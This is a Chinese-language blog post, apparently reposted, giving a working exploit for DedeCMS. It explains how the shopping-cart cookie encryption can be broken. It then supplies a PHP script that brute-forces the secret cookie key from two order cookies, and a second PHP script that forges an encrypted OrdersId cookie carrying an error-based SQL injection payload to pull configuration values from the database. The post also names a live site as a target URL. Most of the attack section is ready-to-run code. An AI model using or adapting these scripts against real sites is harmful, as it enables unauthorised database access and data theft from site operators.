关注我们
QRcode 邮件联系 QRcode
主页 » 信息安全 » 正文

织梦CMS漏洞dedecms漏洞 2013-02-10 SQL注入漏洞

 feng  889 ℃  0条点评

www.513xs.com/plus/search.php?keyword=

在 include/shopcar.class.php中
先看一下这个shopcar类是如何生成cookie的

239      function saveCookie($key,$value)
240      {
241          if(is_array($value))
242          {
243              $value = $this->enCrypt($this->enCode($value));
244          }
245          else
246          {
247              $value = $this->enCrypt($value);
248          }
249          setcookie($key,$value,time()+36000,'/');
250      }

简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数

186      function enCrypt($txt)
187      {
188          srand((double)microtime() * 1000000);
189          $encrypt_key = md5(rand(0, 32000));
190          $ctr = 0;
191          $tmp = '';
192          for($i = 0; $i < strlen($txt); $i++)
193          {
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
196          }
197          return base64_encode($this->setKey($tmp));
198      }

213      function setKey($txt)
214      {
215          global $cfg_cookie_encode;
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
217          $ctr = 0;
218          $tmp = '';
219          for($i = 0; $i < strlen($txt); $i++)
220          {
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
223          }
224          return $tmp;
225      }

enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
具体代码如下:

<?php

$cookie1 = "X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw=="; // here is the first cookie,change here
$cookie2 = "ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ=="; // here is the second cookie ,change here
$plantxt = "id=2&price=0&units=fun&buynum=1&title=naduohua1"; // here is the text , change here

function reStrCode($code,$string)
{
$code = base64_decode($code);
$key = "";
for($i=0 ; $i<32 ; $i++)
{
$key .= $string[$i] ^ $code[$i];
}
return $key;
}

function getKeys($cookie,$plantxt)
{
$tmp = $cookie;
$results = array();
for($j=0 ; $j < 32000; $j++)
{
$txt = $plantxt;
$ctr = 0;
$tmp = '';
$encrypt_key = md5($j);
for($i =0; $i < strlen($txt); $i ++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
$string = $tmp;
$code = $cookie;
$result = reStrCode($code,$string);
if(eregi('^[a-z0-9]+$',$result))
{
echo $result."\n";
$results[] = $result;
}
}
return $results;
}

$results1 = getKeys($cookie1,$plantxt);
$results2 = getKeys($cookie2,$plantxt);

print "\n--------------------real key--------------------------\n";
foreach($results1 as $test1)
{
foreach($results2 as $test2)
{
if($test1 == $test2)
{
echo $test1."\n";
}
}
}

?>

cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1

然后推算出md5(strtolower($cfg_cookie_encode))

得到这个key之后,我们就可以构造任意购物车的cookie

接着看

20  class MemberShops
21  {
22      var $OrdersId;
23      var $productsId;
24
25      function __construct()
26      {
27          $this->OrdersId = $this->getCookie("OrdersId");
28          if(empty($this->OrdersId))
29          {
30              $this->OrdersId = $this->MakeOrders();
31          }
32      }

发现OrderId是从cookie里面获取的
然后
/plus/carbuyaction.php中的

29      $cart    = new MemberShops();
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
......
173          $rows = $dsql->GetOne("SELECT `oid` FROM #@__shops_orders WHERE oid='$OrdersId' LIMIT 0,1");

接着我们就可以注入了
通过利用下面代码生成cookie:

<?php

$txt = "1' or 1=@`\'` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\'` or '1'='1";

$encrypt_key = "9f09293b7419ed68448fb51d5b174834";   // here is the key, please change here

function setKey($txt)
{
global $encrypt_key;
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(setKey($tmp));
}

for($dest =0;$dest = enCrypt($txt);)
{
if(!strpos($dest,'+'))
{
break;
}
}

echo $dest."\n";

?>

作者:yy520

本文标签:
突破绕过护卫神技术总汇
御剑最轻量级旁注查询工具(允许批量旁注查询和C段查询)
织梦dedecms最新注入0day漏洞织梦dedecms最新注入0day漏洞我是如何打造一款自动化SQL注入工具的我是如何打造一款自动化SQL注入工具的分析勒索软件Cerber的攻击方法分析勒索软件Cerber的攻击方法​分析Cknife,一个类似China Chopper的webshell管理工具(第二部分)​分析Cknife,一个类似China Chopper的webshell管理工具(第二部分)

已有0条评论,欢迎点评!

smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley

国际惯例, 沙发拿下 . . .


注册帐号  |  忘记密码